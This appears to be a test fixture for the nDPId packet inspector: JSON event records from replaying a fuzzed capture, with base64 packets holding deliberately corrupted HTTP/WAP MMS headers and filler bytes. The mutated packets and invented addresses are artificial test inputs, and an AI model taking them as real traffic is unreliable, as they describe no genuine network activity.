+02334{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":72,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854535,"pkt_ts_usec":21783,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1514,"pkt_l4_len":0,"pkt":"CAAgsl17AFCLk5N8CABFACVzAEtAAIAGcJasFAMFrBQDDQotAFDk8Vvgym1xzFAQIjhHEAAAUE9TVCAvc2VydmxldHMvbW1zIEhUVFAvMS4xDQpIb3N0OiAxNzIuMjAuMy4xMw0KT3B0OiAiaHR0cDovL3d3dy53My5vcmcvMTk5OS8wNi8yNC1DQ1BQZXhjaGFuZ2UiOyBucz01Ng0KQ29udGVudC1UeXB0OiBhcHBsaWNhdGlvbi92bmQud2FwLm1tcy1tZXNzYWdlDQpBY2NlcHQ6IGFwcGxpY2F0Rm9uL3ZuZC53YXAubW1zLW1lc3NhZ2UNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQpBY2NlcHQtTGFuZ3VhZ2U6IENuDQpVc2VyLUFnZW50OiBTb255inJpY3Nzb25UNjgvUjIwMUENCkFjY2Vw9C1DaGFyc2V0OiAqDQo1Ni1Qcm9maWxlLURpZmYtMTogPD94bWwgdqdyc2lvbj0iMS4wIj8+PHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjInhtbG5zOnByZj0ibHR0cDovL3d3dy53YXBmb3J1bS5vcmcvVUFQUk9GL2Nja3BzY2hlbWEtMTk5OTEwMTQjIj48IS0tIGJyb3dzZXIgdmVuZG9yIHNpdGU6IERlZmF1bHQgZGVzY3JpcHRpb24gb2YgcHJvcGVydGllcyAtLT48cmRmOkRlc2NyaXB0aW9uPjxwcmY6Q2NwcEFjY2VwdD48cmRmOkJhJXMAcmRmOmxpPmFwcGxpY2F0aW9uL3ZubC53YXAubW1zLW1lc3NhZ2U8L3JkZjpsaT48L3JkZjpCYWc+PC9wcmY6Q2NwcEFjY2VwdD48L3JkZjpEZXNjcmlwdGlvbj48L3JkZjpSREY+DQo1Ni1Qcm9maWxlLURpZmYt1TogPD94bWwgdmVyc2lvbj0iMS4wIj8+PHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjInhtbG5zOnByZj0iaHR0cDovL3d3dy53YXBmb3J1bS5vUmcvVUFQUk9GL2NjcHBzY2hlbWEtMTk5OTEwMTQjIiVzAC0tIGJyb3dzZXIgdmVuZG9yIHNpdGU6IEQlcwB1bHQgZGVzY3JpcHRpb24gb2YgcHJvcGVydGllcyAtJj48cqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":72,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","l4_data_len":1480} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":73,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1031854535021,"flow_last_seen":0,"flow_tot_l4_data_len":443,"flow_min_l4_data_len":443,"flow_max_l4_data_len":443,"flow_avg_l4_data_len":443,"midstream":1,"l3_proto":"ip4","src_ip":"51.20.3.5","dst_ip":"172.20.3.13","src_port":2605,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00988{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854535,"pkt_ts_usec":21813,"pkt_caplen":477,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":477,"pkt_l4_len":443,"pkt":"CAAgsl17AFCLk5N8CABFAAHPJ0tAAIAGc6MzFAMFrBQDDQotAFDk8WGUym1xzFAYIjj+OwAAMjAxLnhtbCIsIjEtT3dQVndnTWs4aXRxR3gwOGZNWXVTdz09IiwiMi1IZ0NURVFFMW8ydmVOM0ZCeW8xLzVnPT0iLCIzLXpJdGdzCXlLQnBCem01c2xPb2RISEE9PYeXCkNvb2tpZTogVXNlci1JZGVudGl0eS1Gb3J3YXJkLXBwcC11c2VybmFtZT02QzZENjM2RDZGNkM2Ng0KQ29va2llOiBVc2VyLUlkZW50aXR5LUZvcndhcmQtbXNpc2RuPTM0MzkzMTM3MzIzNjMxMzAzMTMwMzAzNA0KQ29vayVzACBVc2VyLUlkZW50aXR5LUF1dGhlbnRpY2F0aW9uPUJlYXJncg0KQ29va2llOiBJcC1BZGRybXNzPTE5Mi4xNjguMi4mNg0KQ29va2llOiBCZWFyZXItVHlwZT1VRFANCldBUC1Db25uZWN0aW9uOiBTdGFjay1UeXBlPUNPDQpDb29raWU6IHd0bHMtc2VjdXJpdHktbGV2ZWw9bm9uZQ0KQ29udGVudC1MZW5ndGg6IDE0DQoNCoyDmDE4OTAwMQCNkJGA"} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":73,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1031854535021,"flow_last_seen":0,"flow_tot_l4_data_len":443,"flow_min_l4_data_len":443,"flow_max_l4_data_len":443,"flow_avg_l4_data_len":443,"midstream":1,"l3_proto":"ip4","src_ip":"51.20.3.5","dst_ip":"172.20.3.13","src_port":2605,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":74,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1031854535022,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.76.5","src_port":80,"dst_port":65069,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854535,"pkt_ts_usec":22424,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxMZAAEAGF8+sFAMNrBRMBQBQ\/i3KbXHM5PFhlFAQgyxBMAAA"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":75,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1031854535090,"flow_last_seen":0,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":163,"flow_max_l4_data_len":163,"flow_avg_l4_data_len":163,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"44.20.3.5","src_port":80,"dst_port":2605,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00616{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854535,"pkt_ts_usec":90106,"pkt_caplen":197,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":197,"pkt_l4_len":163,"pkt":"AFCLk5N8CAAgsl17CABFAAC3xMdAAEAGFz+sFAMNLBQDBQBQCi3KbXHM5PFjO1AYgyyWzgAASFRUUC8xLjEgMjIwIE9LDQpTZXJ2ZXI6IEJlc2luLzIuMC4xDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3Zuay53YXAubW1zLW1lc3NhZ2UNCkNvbnRlbnQtTGVuZ3RoOiAwDQpEYXRlOiBUaHUsIDEyIFNlcCAyMDAyIDE4OjFKOjM1IEdNVA0KDQo="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":75,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1031854535090,"flow_last_seen":0,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":163,"flow_max_l4_data_len":163,"flow_avg_l4_data_len":163,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"44.20.3.5","src_port":80,"dst_port":2605,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00391{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":76,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854535,"pkt_ts_usec":294275,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"CAAgsl17AFCLk5N8CAAQAAAoKUtAAIAGc0qsFAMFrBQDDQotAFDk8WM7ym1yW1AQIamgfQAAYXRpb24v"} +00166{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":76,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","protocol":2048} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":77,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1031854535090,"flow_last_seen":0,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":163,"flow_max_l4_data_len":163,"flow_avg_l4_data_len":163,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"44.20.3.5","src_port":80,"dst_port":2605,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":77,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1031854535021,"flow_last_seen":0,"flow_tot_l4_data_len":443,"flow_min_l4_data_len":443,"flow_max_l4_data_len":443,"flow_avg_l4_data_len":443,"midstream":1,"l3_proto":"ip4","src_ip":"51.20.3.5","dst_ip":"172.20.3.13","src_port":2605,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00519{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":77,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1031854525903,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"72.20.3.13","src_port":2603,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00481{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":77,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1031854525903,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"72.20.3.13","src_port":2603,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00521{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":77,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1031854525903,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.82.5","src_port":80,"dst_port":2603,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":77,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1031854525903,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.82.5","src_port":80,"dst_port":2603,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00521{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":77,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1031854532143,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.68.5","src_port":80,"dst_port":2604,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00483{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":77,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1031854532143,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.68.5","src_port":80,"dst_port":2604,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00520{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":77,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1031854525904,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"68.37.115.0","src_port":2603,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":77,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1031854525904,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"68.37.115.0","src_port":2603,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00522{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":77,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1031854535022,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.76.5","src_port":80,"dst_port":65069,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":77,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1031854535022,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.76.5","src_port":80,"dst_port":65069,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":17,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854543,"pkt_ts_usec":315259,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoLUtAAIAGb0qsFAMFrBQDDQosAFDk5rTAyl7sRVARIM3WAwAAHonTQB2F"} +00422{"flow_id":17,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854543,"pkt_ts_usec":315282,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ADWLk5N8CAAgsl17CABFAAAoxMhAAEAGF82sFAMNrBQDBQBQCizKXkZF5Oa0wVAQWSxzpAAA"} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":79,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854543,"pkt_ts_usec":322142,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":54,"pkt_l4_len":0,"pkt":"AFCLk5N8CAAgsl17CABFAACqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":79,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","l4_data_len":20} +00495{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":80,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1031854543322,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":0,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854543,"pkt_ts_usec":322384,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsiVzAFCLk5N8CABFAAAoLktAAIAGbkqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00429{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854546,"pkt_ts_usec":78636,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoL0tAAIAGbUqsFAMFrBQDDQotAFDk8WM7ym1yW1ARIamgfAAAHonTQB2F"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":82,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1031854546078,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2639,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854546,"pkt_ts_usec":78678,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxMpAAEAGF8usFAMNrBQDBQBQCk\/KbXJb5PFjPFAQgyw++QAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":83,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1031854546079,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.52.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2093,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00421{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854546,"pkt_ts_usec":79372,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxMtAAEAGF8qsNAMNrBQDBQBQCC3KbXJb5PFjPFARuSw++AAA"} +00429{"flow_id":19,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854546,"pkt_ts_usec":79606,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoMEtAAIAGbEqsFAMFrBQDDQotAFDk8WM8ym1yXFAQIamgewAAHonTQB2F"} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":85,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":13,"flow_first_seen":1031854489004,"flow_last_seen":1031854494143,"flow_tot_l4_data_len":1428,"flow_min_l4_data_len":20,"flow_max_l4_data_len":860,"flow_avg_l4_data_len":109,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":53132,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00520{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":85,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1031854546079,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.52.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2093,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00482{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":85,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1031854546079,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.52.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2093,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00510{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":85,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1031854543322,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":0,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00496{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":85,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1031854543322,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":0,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00531{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":85,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_first_seen":1031854484481,"flow_last_seen":1031854484482,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2600,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00493{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":85,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_first_seen":1031854484481,"flow_last_seen":1031854484482,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2600,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00520{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":85,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1031854546078,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2639,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":85,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1031854546078,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2639,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 